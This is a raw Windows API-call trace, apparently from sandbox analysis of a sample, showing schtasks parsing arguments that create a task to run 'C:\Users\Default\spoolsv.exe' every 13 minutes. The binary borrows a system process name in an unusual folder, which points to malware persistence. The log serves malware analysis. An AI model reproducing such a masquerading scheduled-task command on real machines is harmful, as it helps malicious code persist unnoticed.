lstrlenW (lpString="|showsid|") returned 9 [0159.202] lstrlenW (lpString="|sc|") returned 4 [0159.202] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0159.202] SetLastError (dwErrCode=0x490) [0159.202] SetLastError (dwErrCode=0x490) [0159.202] SetLastError (dwErrCode=0x0) [0159.202] lstrlenW (lpString="/sc") returned 3 [0159.202] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0159.202] SetLastError (dwErrCode=0x490) [0159.202] SetLastError (dwErrCode=0x0) [0159.202] lstrlenW (lpString="/sc") returned 3 [0159.202] GetProcessHeap () returned 0x220000 [0159.202] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x8) returned 0x23dc60 [0159.202] GetProcessHeap () returned 0x220000 [0159.202] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cc00 [0159.202] SetLastError (dwErrCode=0x0) [0159.202] SetLastError (dwErrCode=0x0) [0159.202] lstrlenW (lpString="MINUTE") returned 6 [0159.202] lstrlenW (lpString="-/") returned 2 [0159.202] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0159.202] SetLastError (dwErrCode=0x490) [0159.202] SetLastError (dwErrCode=0x490) [0159.202] SetLastError (dwErrCode=0x0) [0159.202] lstrlenW (lpString="MINUTE") returned 6 [0159.202] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0159.202] SetLastError (dwErrCode=0x490) [0159.202] SetLastError (dwErrCode=0x0) [0159.202] lstrlenW (lpString="MINUTE") returned 6 [0159.202] GetProcessHeap () returned 0x220000 [0159.202] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xe) returned 0x23d4b0 [0159.202] GetProcessHeap () returned 0x220000 [0159.202] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cc30 [0159.202] SetLastError (dwErrCode=0x0) [0159.202] SetLastError (dwErrCode=0x0) [0159.202] lstrlenW (lpString="/mo") returned 3 [0159.202] lstrlenW (lpString="-/") returned 2 [0159.202] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0159.202] lstrlenW (lpString="?") returned 1 [0159.202] lstrlenW (lpString="?") returned 1 [0159.202] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.202] lstrlenW (lpString="mo") returned 2 [0159.202] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.203] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|?|") returned 3 [0159.203] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|mo|") returned 4 [0159.203] lstrlenW (lpString="|?|") returned 3 [0159.203] lstrlenW (lpString="|mo|") returned 4 [0159.203] SetLastError (dwErrCode=0x490) [0159.203] lstrlenW (lpString="create") returned 6 [0159.203] lstrlenW (lpString="create") returned 6 [0159.203] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.203] lstrlenW (lpString="mo") returned 2 [0159.203] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.203] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|create|") returned 8 [0159.203] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|mo|") returned 4 [0159.203] lstrlenW (lpString="|create|") returned 8 [0159.203] lstrlenW (lpString="|mo|") returned 4 [0159.203] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0159.203] SetLastError (dwErrCode=0x490) [0159.203] lstrlenW (lpString="delete") returned 6 [0159.203] lstrlenW (lpString="delete") returned 6 [0159.203] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.203] lstrlenW (lpString="mo") returned 2 [0159.203] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.203] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|delete|") returned 8 [0159.203] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|mo|") returned 4 [0159.203] lstrlenW (lpString="|delete|") returned 8 [0159.203] lstrlenW (lpString="|mo|") returned 4 [0159.203] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0159.203] SetLastError (dwErrCode=0x490) [0159.203] lstrlenW (lpString="query") returned 5 [0159.203] lstrlenW (lpString="query") returned 5 [0159.203] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.203] lstrlenW (lpString="mo") returned 2 [0159.203] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.203] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|query|") returned 7 [0159.203] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|mo|") returned 4 [0159.203] lstrlenW (lpString="|query|") returned 7 [0159.203] lstrlenW (lpString="|mo|") returned 4 [0159.203] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0159.204] SetLastError (dwErrCode=0x490) [0159.204] lstrlenW (lpString="change") returned 6 [0159.204] lstrlenW (lpString="change") returned 6 [0159.204] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.204] lstrlenW (lpString="mo") returned 2 [0159.204] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.204] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|change|") returned 8 [0159.204] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|mo|") returned 4 [0159.204] lstrlenW (lpString="|change|") returned 8 [0159.204] lstrlenW (lpString="|mo|") returned 4 [0159.204] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0159.204] SetLastError (dwErrCode=0x490) [0159.204] lstrlenW (lpString="run") returned 3 [0159.204] lstrlenW (lpString="run") returned 3 [0159.204] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.204] lstrlenW (lpString="mo") returned 2 [0159.204] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.204] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|run|") returned 5 [0159.204] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|mo|") returned 4 [0159.204] lstrlenW (lpString="|run|") returned 5 [0159.204] lstrlenW (lpString="|mo|") returned 4 [0159.204] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0159.204] SetLastError (dwErrCode=0x490) [0159.204] lstrlenW (lpString="end") returned 3 [0159.204] lstrlenW (lpString="end") returned 3 [0159.204] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.204] lstrlenW (lpString="mo") returned 2 [0159.204] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.204] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|end|") returned 5 [0159.204] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|mo|") returned 4 [0159.204] lstrlenW (lpString="|end|") returned 5 [0159.204] lstrlenW (lpString="|mo|") returned 4 [0159.204] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0159.204] SetLastError (dwErrCode=0x490) [0159.204] lstrlenW (lpString="showsid") returned 7 [0159.204] lstrlenW (lpString="showsid") returned 7 [0159.204] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.205] lstrlenW (lpString="mo") returned 2 [0159.205] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.205] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|showsid|") returned 9 [0159.205] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|mo|") returned 4 [0159.205] lstrlenW (lpString="|showsid|") returned 9 [0159.205] lstrlenW (lpString="|mo|") returned 4 [0159.205] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0159.205] SetLastError (dwErrCode=0x490) [0159.205] SetLastError (dwErrCode=0x490) [0159.205] SetLastError (dwErrCode=0x0) [0159.205] lstrlenW (lpString="/mo") returned 3 [0159.205] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0159.205] SetLastError (dwErrCode=0x490) [0159.205] SetLastError (dwErrCode=0x0) [0159.205] lstrlenW (lpString="/mo") returned 3 [0159.205] GetProcessHeap () returned 0x220000 [0159.205] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x8) returned 0x23dc80 [0159.205] GetProcessHeap () returned 0x220000 [0159.205] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cc60 [0159.205] SetLastError (dwErrCode=0x0) [0159.205] SetLastError (dwErrCode=0x0) [0159.205] lstrlenW (lpString="13") returned 2 [0159.205] lstrlenW (lpString="-/") returned 2 [0159.205] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0159.205] SetLastError (dwErrCode=0x490) [0159.205] SetLastError (dwErrCode=0x490) [0159.205] SetLastError (dwErrCode=0x0) [0159.205] lstrlenW (lpString="13") returned 2 [0159.205] StrChrIW (lpStart="13", wMatch=0x3a) returned 0x0 [0159.205] SetLastError (dwErrCode=0x490) [0159.205] SetLastError (dwErrCode=0x0) [0159.205] lstrlenW (lpString="13") returned 2 [0159.205] GetProcessHeap () returned 0x220000 [0159.205] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x6) returned 0x23dca0 [0159.205] GetProcessHeap () returned 0x220000 [0159.205] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cc90 [0159.205] SetLastError (dwErrCode=0x0) [0159.205] SetLastError (dwErrCode=0x0) [0159.205] lstrlenW (lpString="/tr") returned 3 [0159.205] lstrlenW (lpString="-/") returned 2 [0159.205] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0159.205] lstrlenW (lpString="?") returned 1 [0159.205] lstrlenW (lpString="?") returned 1 [0159.206] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.206] lstrlenW (lpString="tr") returned 2 [0159.206] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.206] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|?|") returned 3 [0159.206] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|tr|") returned 4 [0159.206] lstrlenW (lpString="|?|") returned 3 [0159.206] lstrlenW (lpString="|tr|") returned 4 [0159.206] SetLastError (dwErrCode=0x490) [0159.206] lstrlenW (lpString="create") returned 6 [0159.206] lstrlenW (lpString="create") returned 6 [0159.206] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.206] lstrlenW (lpString="tr") returned 2 [0159.206] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.206] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|create|") returned 8 [0159.206] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|tr|") returned 4 [0159.206] lstrlenW (lpString="|create|") returned 8 [0159.206] lstrlenW (lpString="|tr|") returned 4 [0159.206] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0159.206] SetLastError (dwErrCode=0x490) [0159.206] lstrlenW (lpString="delete") returned 6 [0159.206] lstrlenW (lpString="delete") returned 6 [0159.206] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.206] lstrlenW (lpString="tr") returned 2 [0159.206] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.206] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|delete|") returned 8 [0159.206] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|tr|") returned 4 [0159.206] lstrlenW (lpString="|delete|") returned 8 [0159.206] lstrlenW (lpString="|tr|") returned 4 [0159.206] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0159.206] SetLastError (dwErrCode=0x490) [0159.206] lstrlenW (lpString="query") returned 5 [0159.206] lstrlenW (lpString="query") returned 5 [0159.206] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.207] lstrlenW (lpString="tr") returned 2 [0159.207] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.207] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|query|") returned 7 [0159.207] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|tr|") returned 4 [0159.207] lstrlenW (lpString="|query|") returned 7 [0159.207] lstrlenW (lpString="|tr|") returned 4 [0159.207] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0159.207] SetLastError (dwErrCode=0x490) [0159.207] lstrlenW (lpString="change") returned 6 [0159.207] lstrlenW (lpString="change") returned 6 [0159.207] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.207] lstrlenW (lpString="tr") returned 2 [0159.207] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.207] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|change|") returned 8 [0159.207] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|tr|") returned 4 [0159.207] lstrlenW (lpString="|change|") returned 8 [0159.207] lstrlenW (lpString="|tr|") returned 4 [0159.207] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0159.207] SetLastError (dwErrCode=0x490) [0159.207] lstrlenW (lpString="run") returned 3 [0159.207] lstrlenW (lpString="run") returned 3 [0159.207] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.207] lstrlenW (lpString="tr") returned 2 [0159.207] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.207] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|run|") returned 5 [0159.207] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|tr|") returned 4 [0159.207] lstrlenW (lpString="|run|") returned 5 [0159.207] lstrlenW (lpString="|tr|") returned 4 [0159.207] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0159.207] SetLastError (dwErrCode=0x490) [0159.207] lstrlenW (lpString="end") returned 3 [0159.207] lstrlenW (lpString="end") returned 3 [0159.207] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.207] lstrlenW (lpString="tr") returned 2 [0159.207] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.207] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|end|") returned 5 [0159.208] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|tr|") returned 4 [0159.208] lstrlenW (lpString="|end|") returned 5 [0159.208] lstrlenW (lpString="|tr|") returned 4 [0159.208] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0159.208] SetLastError (dwErrCode=0x490) [0159.208] lstrlenW (lpString="showsid") returned 7 [0159.208] lstrlenW (lpString="showsid") returned 7 [0159.208] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.208] lstrlenW (lpString="tr") returned 2 [0159.208] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.208] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|showsid|") returned 9 [0159.208] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|tr|") returned 4 [0159.208] lstrlenW (lpString="|showsid|") returned 9 [0159.208] lstrlenW (lpString="|tr|") returned 4 [0159.208] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0159.208] SetLastError (dwErrCode=0x490) [0159.208] SetLastError (dwErrCode=0x490) [0159.208] SetLastError (dwErrCode=0x0) [0159.208] lstrlenW (lpString="/tr") returned 3 [0159.208] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0159.208] SetLastError (dwErrCode=0x490) [0159.208] SetLastError (dwErrCode=0x0) [0159.208] lstrlenW (lpString="/tr") returned 3 [0159.208] GetProcessHeap () returned 0x220000 [0159.208] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x8) returned 0x23dcc0 [0159.208] GetProcessHeap () returned 0x220000 [0159.208] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23ccc0 [0159.208] SetLastError (dwErrCode=0x0) [0159.208] SetLastError (dwErrCode=0x0) [0159.208] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0159.208] lstrlenW (lpString="-/") returned 2 [0159.208] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0159.208] SetLastError (dwErrCode=0x490) [0159.208] SetLastError (dwErrCode=0x490) [0159.208] SetLastError (dwErrCode=0x0) [0159.208] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0159.208] StrChrIW (lpStart="'C:\\Users\\Default\\spoolsv.exe'", wMatch=0x3a) returned=":\\Users\\Default\\spoolsv.exe'" [0159.208] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0159.209] GetProcessHeap () returned 0x220000 [0159.209] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23d4d0 [0159.209] _memicmp (_Buf1=0x23d4d0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.209] GetProcessHeap () returned 0x220000 [0159.209] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xe) returned 0x23d4f0 [0159.209] GetProcessHeap () returned 0x220000 [0159.209] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23d510 [0159.209] _memicmp (_Buf1=0x23d510, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.209] GetProcessHeap () returned 0x220000 [0159.209] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x40) returned 0x239270 [0159.209] SetLastError (dwErrCode=0x7a) [0159.209] SetLastError (dwErrCode=0x0) [0159.209] SetLastError (dwErrCode=0x0) [0159.209] lstrlenW (lpString="'C") returned 2 [0159.209] lstrlenW (lpString="-/") returned 2 [0159.209] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0159.209] SetLastError (dwErrCode=0x490) [0159.209] SetLastError (dwErrCode=0x490) [0159.209] SetLastError (dwErrCode=0x0) [0159.209] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0159.209] GetProcessHeap () returned 0x220000 [0159.209] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x3e) returned 0x2392c0 [0159.209] GetProcessHeap () returned 0x220000 [0159.209] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23ccf0 [0159.209] SetLastError (dwErrCode=0x0) [0159.209] SetLastError (dwErrCode=0x0) [0159.209] lstrlenW (lpString="/f") returned 2 [0159.209] lstrlenW (lpString="-/") returned 2 [0159.209] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0159.209] lstrlenW (lpString="?") returned 1 [0159.209] lstrlenW (lpString="?") returned 1 [0159.209] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.209] lstrlenW (lpString="f") returned 1 [0159.209] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.209] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|?|") returned 3 [0159.209] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|f|") returned 3 [0159.209] lstrlenW (lpString="|?|") returned 3 [0159.209] lstrlenW (lpString="|f|") returned 3 [0159.209] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0159.209] SetLastError (dwErrCode=0x490) [0159.209] lstrlenW (lpString="create") returned 6 [0159.210] lstrlenW (lpString="create") returned 6 [0159.210] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.210] lstrlenW (lpString="f") returned 1 [0159.210] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.210] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|create|") returned 8 [0159.210] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|f|") returned 3 [0159.210] lstrlenW (lpString="|create|") returned 8 [0159.210] lstrlenW (lpString="|f|") returned 3 [0159.210] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0159.210] SetLastError (dwErrCode=0x490) [0159.210] lstrlenW (lpString="delete") returned 6 [0159.210] lstrlenW (lpString="delete") returned 6 [0159.210] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.210] lstrlenW (lpString="f") returned 1 [0159.210] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.210] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|delete|") returned 8 [0159.210] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|f|") returned 3 [0159.210] lstrlenW (lpString="|delete|") returned 8 [0159.210] lstrlenW (lpString="|f|") returned 3 [0159.210] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0159.210] SetLastError (dwErrCode=0x490) [0159.210] lstrlenW (lpString="query") returned 5 [0159.210] lstrlenW (lpString="query") returned 5 [0159.210] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.210] lstrlenW (lpString="f") returned 1 [0159.210] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.210] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|query|") returned 7 [0159.210] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|f|") returned 3 [0159.210] lstrlenW (lpString="|query|") returned 7 [0159.210] lstrlenW (lpString="|f|") returned 3 [0159.210] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0159.210] SetLastError (dwErrCode=0x490) [0159.210] lstrlenW (lpString="change") returned 6 [0159.210] lstrlenW (lpString="change") returned 6 [0159.210] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.211] lstrlenW (lpString="f") returned 1 [0159.211] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.211] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|change|") returned 8 [0159.211] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|f|") returned 3 [0159.211] lstrlenW (lpString="|change|") returned 8 [0159.211] lstrlenW (lpString="|f|") returned 3 [0159.211] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0159.211] SetLastError (dwErrCode=0x490) [0159.211] lstrlenW (lpString="run") returned 3 [0159.211] lstrlenW (lpString="run") returned 3 [0159.211] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.211] lstrlenW (lpString="f") returned 1 [0159.211] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.211] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|run|") returned 5 [0159.211] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|f|") returned 3 [0159.211] lstrlenW (lpString="|run|") returned 5 [0159.211] lstrlenW (lpString="|f|") returned 3 [0159.211] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0159.211] SetLastError (dwErrCode=0x490) [0159.211] lstrlenW (lpString="end") returned 3 [0159.211] lstrlenW (lpString="end") returned 3 [0159.211] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.211] lstrlenW (lpString="f") returned 1 [0159.211] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.211] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|end|") returned 5 [0159.211] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|f|") returned 3 [0159.211] lstrlenW (lpString="|end|") returned 5 [0159.211] lstrlenW (lpString="|f|") returned 3 [0159.211] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0159.211] SetLastError (dwErrCode=0x490) [0159.211] lstrlenW (lpString="showsid") returned 7 [0159.211] lstrlenW (lpString="showsid") returned 7 [0159.211] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.211] lstrlenW (lpString="f") returned 1 [0159.211] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.212] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|showsid|") returned 9 [0159.212] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|f|") returned 3 [0159.212] lstrlenW (lpString="|showsid|") returned 9 [0159.212] lstrlenW (lpString="|f|") returned 3 [0159.212] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0159.212] SetLastError (dwErrCode=0x490) [0159.212] SetLastError (dwErrCode=0x490) [0159.212] SetLastError (dwErrCode=0x0) [0159.212] lstrlenW (lpString="/f") returned 2 [0159.212] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0159.212] SetLastError (dwErrCode=0x490) [0159.212] SetLastError (dwErrCode=0x0) [0159.212] lstrlenW (lpString="/f") returned 2 [0159.212] GetProcessHeap () returned 0x220000 [0159.212] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x6) returned 0x23dce0 